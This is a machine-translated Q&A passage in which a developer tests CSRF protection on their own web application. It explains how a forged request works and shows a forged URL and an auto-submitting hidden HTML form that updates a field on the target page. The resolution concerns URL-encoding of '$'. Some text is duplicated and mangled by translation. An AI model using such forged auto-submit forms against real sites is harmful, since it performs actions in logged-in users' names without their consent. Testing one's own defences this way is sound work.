通过HTML表单测试XSRF攻击&;直接网址
我有一个web应用程序,我们目前在其上实现XSRF保护。 据我所知,XSRF攻击的工作方式如下:通过HTML表单测试XSRF攻击&;直接网址,html,url,csrf,Html,Url,Csrf,我有一个web应用程序,我们目前在其上实现XSRF保护。 据我所知,XSRF攻击的工作方式如下: 攻击者发现客户端如何与的服务器通信 web应用程序,即其HTTP请求的格式 攻击者重写(伪造)一个http请求,该请求将命令 服务器执行攻击者想要的操作 攻击者现在缺少的只是服务器上的身份验证 攻击者诱使人们加载一个网页来发送他的信息 伪造的请求。那些被欺骗的人,那些 碰巧当前登录的应用程序将不愿意 为伪造请求提供需要执行的凭据 通过服务器 为了测试我们的网站,我查看了客户端发送给服务器的POS
- 攻击者发现客户端如何与的服务器通信 web应用程序,即其HTTP请求的格式
- 攻击者重写(伪造)一个http请求,该请求将命令 服务器执行攻击者想要的操作
- 攻击者现在缺少的只是服务器上的身份验证
- 攻击者诱使人们加载一个网页来发送他的信息 伪造的请求。那些被欺骗的人,那些 碰巧当前登录的应用程序将不愿意 为伪造请求提供需要执行的凭据 通过服务器
https://mywebsite/Camp.aspx?
EventTarget=SaveButton
&TargetField=I+am+the+king+of+the+world
第一行是在浏览器中看到的URL(减去“?”),第二行是服务器要执行的操作,第三行是我要更新的字段
然后我登录网站,用两种方式测试我的伪造请求:
A) 我只需在浏览器中打开一个新选项卡,将伪造的URL粘贴到上面,然后单击enter
(使用IE和铬合金进行测试)
B) 我在另一个选项卡中打开包含以下内容的页面:
<html xmlns="http_www.w3.org/1999/xhtml">
<body>
<form method="post" action="https://mywebsite/Camp.aspx">
<input type="hidden" name="EventTarget" value="SaveButton">
<input type="hidden" name="TargetField" value="I+am+the+king+of+the+world">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
document.forms[0]。提交();
(使用GET和POST方法进行测试)
我希望这两个测试是相同的,但令我惊讶的是:
- 测试A打开网站上的目标页面并实际更新 目标场
- 测试B打开网站上的目标页面,但不更新 目标场
https://mywebsite/Camp.aspx?
EventTarget=abc%24def
那么相应的HTML表单应该是
<html xmlns="http_www.w3.org/1999/xhtml">
<body>
<form method="post" action="https://mywebsite/Camp.aspx">
<input type="hidden" name="EventTarget" value="abc$def">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
document.forms[0]。提交();
我自己解决了这个问题。
我显然已经发布了一个简化版的请求。真正的请求包含需要URL编码的符号。这里是符号“$”,它在URL中编码为“%24”
所以如果直接URL是
https://mywebsite/Camp.aspx?
EventTarget=abc%24def
那么相应的HTML表单应该是
<html xmlns="http_www.w3.org/1999/xhtml">
<body>
<form method="post" action="https://mywebsite/Camp.aspx">
<input type="hidden" name="EventTarget" value="abc$def">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
document.forms[0]。提交();